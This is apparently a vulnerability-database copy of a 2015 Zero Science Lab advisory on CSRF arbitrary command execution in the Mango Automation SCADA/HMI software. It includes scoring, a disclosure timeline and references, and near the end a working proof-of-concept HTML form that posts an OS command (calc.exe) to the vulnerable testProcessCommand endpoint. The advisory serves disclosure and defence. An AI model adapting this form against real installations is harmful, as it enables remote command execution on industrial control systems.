Lucene search

K
zeroscienceGjoko KrsticZSL-2015-5261
HistorySep 26, 2015 - 12:00 a.m.

Mango Automation 2.6.0 CSRF Arbitrary Command Execution Exploit

2015-09-2600:00:00
Gjoko Krstic
zeroscience.mk
88

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

AI Score

7.5

Confidence

High

EPSS

0.057

Percentile

93.4%

Title: Mango Automation 2.6.0 CSRF Arbitrary Command Execution Exploit
Advisory ID: ZSL-2015-5261
Type: Local/Remote
Impact: Cross-Site Scripting, System Access
Risk: (4/5)
Release Date: 26.09.2015

Summary

Mango Automation is a flexible SCADA, HMI And Automation software application that allows you to view, log, graph, animate, alarm, and report on data from sensors, equipment, PLCs, databases, webpages, etc. It is easy, affordable, and open source.

Description

The POST parameter ‘c0-param0’ in the testProcessCommand.dwr method is not properly sanitised before being used to execute commands. This can be exploited to inject and execute arbitrary OS commands as well as using cross-site request forgery attacks.

Vendor

Infinite Automation Systems Inc. - <http://www.infiniteautomation.com>

Affected Version

2.5.2 and 2.6.0 beta (build 327)

Tested On

Microsoft Windows 7 Professional SP1 (EN) 32/64bit
Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
Jetty(9.2.2.v20140723)
Java™ SE Runtime Environment (build 1.8.0_51-b16)
Java HotSpot™ Client VM (build 25.51-b03, mixed mode)

Vendor Status

[20.08.2015] Vulnerability discovered.
[25.08.2015] Vendor contacted.
[25.08.2015] Vendor responds giving support e-mail to send details to.
[25.08.2015] Details sent to the support contact.
[27.08.2015] Asked vendor for status update.
[12.09.2015] No reply from the vendor.
[13.09.2015] Asked vendor for status update.
[25.09.2015] No reply from the vendor.
[26.09.2015] Public security advisory released.
[20.10.2015] Vendor releases version 2.6.0 build 430 to address these issues.
[22.12.2015] Vendor releases version 2.7.0 to address additional issues.

PoC

mango_cmdexec.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <https://www.exploit-db.com/exploits/38338/&gt;
[2] <https://packetstormsecurity.com/files/133734&gt;
[3] <https://exchange.xforce.ibmcloud.com/vulnerabilities/106864&gt;
[4] <http://infiniteautomation.com/forum/topic/1995/mango-security-testing&gt;
[5] <http://infiniteautomation.com/index.php/what-s-new/entry/what-s-new-in-mango-automation-2-6-0-released-october-20th-2016&gt;
[6] <http://infiniteautomation.com/forum/topic/1997/mango-automation-2-6-released&gt;
[7] <https://ics-cert.us-cert.gov/advisories/ICSA-15-300-02&gt;
[8] <https://vulners.com/cve/CVE-2015-7901&gt;
[9] <https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-7901&gt;
[10] <http://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-005640.html&gt;
[11] <https://www.auscert.org.au/render.html?it=27342&gt;
[12] <http://www.securityweek.com/infinite-automation-patches-flaws-scadahmi-product&gt;
[13] <http://www.securityfocus.com/bid/77331&gt;
[14] <https://ics-cert.us-cert.gov/advisories/ICSA-15-300-02A&gt;

Changelog

[26.09.2015] - Initial release
[07.10.2015] - Added reference [1], [2] and [3]
[21.10.2015] - Added vendor status and reference [4], [5] and [6]
[29.10.2015] - Added reference [7], [8], [9], [10], [11] and [12]
[08.11.2015] - Added reference [13]
[04.01.2016] - Added vendor status and reference [14]

Contact

Zero Science Lab

Web: <http://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>Mango Automation 2.6.0 CSRF Arbitrary Command Execution Exploit


Vendor: Infinite Automation Systems Inc.
Product web page: http://www.infiniteautomation.com/
Affected version: 2.5.2 and 2.6.0 beta (build 327)

Summary: Mango Automation is a flexible SCADA, HMI
And Automation software application that allows you
to view, log, graph, animate, alarm, and report on
data from sensors, equipment, PLCs, databases, webpages,
etc. It is easy, affordable, and open source.

Desc: The POST parameter 'c0-param0' in the testProcessCommand.dwr
method is not properly sanitised before being used to execute commands.
This can be exploited to inject and execute arbitrary OS commands as
well as using cross-site request forgery attacks.

Tested on: Microsoft Windows 7 Professional SP1 (EN) 32/64bit
           Microsoft Windows 7 Ultimate SP1 (EN) 32/64bit
           Jetty(9.2.2.v20140723)
           Java(TM) SE Runtime Environment (build 1.8.0_51-b16)
           Java HotSpot(TM) Client VM (build 25.51-b03, mixed mode)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2015-5261
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5261.php


20.08.2015

--



  </p>
<form action="http://localhost:8080/dwr/call/plaincall/EventHandlersDwr.testProcessCommand.dwr" method="POST">
<input name="callCount" type="hidden" value="1"/>
<input name="page" type="hidden" value="/event_handlers.shtm"/>
<input name="httpSessionId" type="hidden" value="
"/>
<input name="scriptSessionId" type="hidden" value="26D579040C1C11D2E21D1E5F321094E5866"/>
<input name="c0-scriptName" type="hidden" value="EventHandlersDwr"/>
<input name="c0-methodName" type="hidden" value="testProcessCommand"/>
<input name="c0-id" type="hidden" value="0"/>
<input name="c0-param0" type="hidden" value="string:C:\\windows\\system32\\calc.exe"/>
<input name="c0-param1" type="hidden" value="string:15"/>
<input name="batchId" type="hidden" value="24"/>
<input type="submit" value="Submit request"/>
</form>
</body></html>

CVSS2

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

AI Score

7.5

Confidence

High

EPSS

0.057

Percentile

93.4%